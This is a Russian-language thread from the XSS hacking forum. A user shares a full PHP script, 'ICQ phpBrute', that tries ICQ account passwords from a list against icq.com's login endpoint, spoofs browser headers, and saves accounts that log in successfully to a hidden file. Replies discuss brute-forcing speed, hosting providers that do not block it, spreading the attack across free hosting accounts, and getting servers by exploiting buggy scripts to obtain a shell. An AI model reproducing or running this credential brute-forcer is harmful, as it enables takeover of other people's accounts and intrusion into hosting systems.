• XSS.stack #1 – первый литературный журнал от юзеров форума

Скрипт для брутфорса на php

Winux

Старожил форума
Легенда
Регистрация
12.11.2004
Сообщения
6 358
Реакции
53
Короче частенько меня спрашивают по этому поводу. Вот накопал в иннете:

Код:
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"
"http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<title>ICQ phpBrute</title>
<meta http-equiv="Content-Type" content="text/html; charset=windows-1251">
</head>
<body>
<?

///Для того, чтбы скрипт бесконечно работал
set_time_limit(0);

///Чтобы все ошибки показывал
Error_Reporting(E_ALL & ~E_NOTICE);

///Константы, просьба не менять
$config=array();
$config['good']='./.htgood.txt';   ///Складывать хорошие номера суда(рекомендую приставку .ht, тогда файл нельзя будет из веб прочитать)
$config['pass']='./pass.txt';      ///Лист паролей
$config['separator']=';';          /// Разделитель уин;pass
$config['host']='www.icq.com';     /// HTTP сервер мирабов
$config['port']=80;                /// HTTP порт
$config['statfile']='./stat.html'; ///Служебный файл

///Если брутер запущен, то выдаем результат работы
if(file_exists($config['statfile']))
{
include($config['statfile']);
echo '
</body>
</html>';
exit();
}

///Типа притворяемся браузером
$request  = "POST /karma/login.php HTTP/1.1\r\n";
$request .= "Host: ".$config['host']." \r\n";
$request .= "User-Agent: Opera 7.50";
$request .= "rulez\r\n";
$request .= "Keep-Alive: 300\r\n";
$request .= "Connection: keep-alive\r\n";
$request .= "Referer: http://yandex.ru/ \r\n";

///Плохие и хорошие уины
$goodcount=0;
$badcount=0;

///Открытие файла с паролями
$pass=file($config['pass']);

///Непосредственно брут
for($i=0;$i<count($pass);$i++)
{
  list($s,$s1)=explode($config['separator'],$pass[$i]);
 
  ///Данные для отправки к мирабам
  $posts = array ( 'dest' => '/whitepages/user_details.php',
                'desc' => '',
                'service' => '20',
                'css'=> 'whitepages',
                'uin_email'=> $s,
                'password' => trim($s1)
                 );
  $postValues="";
  $s='';
 
  ///Кодирование
  foreach( $posts AS $name => $value )
  {
     $postValues .= urlencode($name) . "=" . urlencode($value) . '&';  
  }
 
  ///Создаем post запрос
  $lenght = strlen($postValues);
  $request2 = $request."Content-Type: application/x-www-form-urlencoded\r\n";
  $request2 .= "Content-Length: $lenght\r\n";
  $request2 .= "\r\n";
  $request2 .= $postValues;
 
  ///Открываем сокет
$fp = fsockopen($config['host'],$config['port'], $errno, $errstr, 30);
if (!$fp)
{
  ///На случай ошибки
  echo "$errstr ($errno)
\n";
}
else
{
  ///Отправляем данные на whitepages
  fwrite($fp, $request2);
  while (!feof($fp))
  {
      $s.=fgets($fp, 128);
  }
 
}
  ///Закрываем сокет
  fclose($fp);
 
  ///Если аська залогинилась, то whitepages посылает куки, которые мы и ловим. Всю страницу мы не скачиваем
if(strpos($s,'Set-C*****')==true)
 {
  $good=fopen($config['good'],'a');
  fwrite($good,$pass[$i]);
  fclose($good);
  $goodcount++;
 }
 else $badcount++;
 
if($i%10==0)
  {
   $count=count($pass)-$i;
   
   ///Обновление статистики
   $s=<<<HTML
--------------------------

<b>ICQ phpBrute</b> 

--------------------------

Хороших: $goodcount

Плохих:  $badcount

Осталось: $count

---

HTML;

   $stat=fopen($config['statfile'],'w+');
   fwrite($stat,$s);
   fclose($stat);  
}
}

$s=<<<HTML
--------------------------

<b>ICQ phpBrute</b> 

--------------------------

Работа завершена. 

Хороших: $goodcount

Плохих:  $badcount

Для продолжения, удалите файл со статистикой

---

HTML;

///Запись конечного результата в файл
$stat=fopen($config['statfile'],'w+');
fwrite($stat,$s);
fclose($stat);

///Брут завершен
?>
 
Соответственно возник вопрос о скорости брута
Ширина канала и оператива?

И как к этому отнесётся провайдер (халавный)...
Так же как к любому бруту. В РФ не все провайдеры лочат ICQ брут.
 
Ширина канала и оператива?
Глупости: ширина канала и оператива роли не играют. Ширина канала не играет роли, т.к. один поток. Оператива - 7м хватит =) на 1 поток.
 
Соответственно возник вопрос о скорости брута
Ширина канала и оператива?

И как к этому отнесётся провайдер (халавный)...
Так же как к любому бруту. В РФ не все провайдеры лочат ICQ брут.
Даже не знаю где и найти такую инфу. На сайте хостера вроде не было такой инфы (http://www.profreehosting.info/)...
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Ну "быстрая" не "быстрая" это второстепенно, зато свой канал не нагружаешь.
И что мешает завести несколько аккаунтов на бесплатных хостингах и брутить со всех одновременно разные пассы?
(Или разные диапазоны, если скорость будет ваще пипец)
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Я бы даже сказал что отсутствие дедика - основная причина, которая заставляет народ юзать PHP бруты. :excl:
 
К стати если у кого есть инфа по нормальным клнторам предоставляющим дедики, дайте плиз.....
...по-моему этой конторой называется "бажный скрипт", через который получаешь шелл, повышаешь права, ну а затем по твоему усмотрению...

...то-есть конторой являешься ты сам =) ...
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх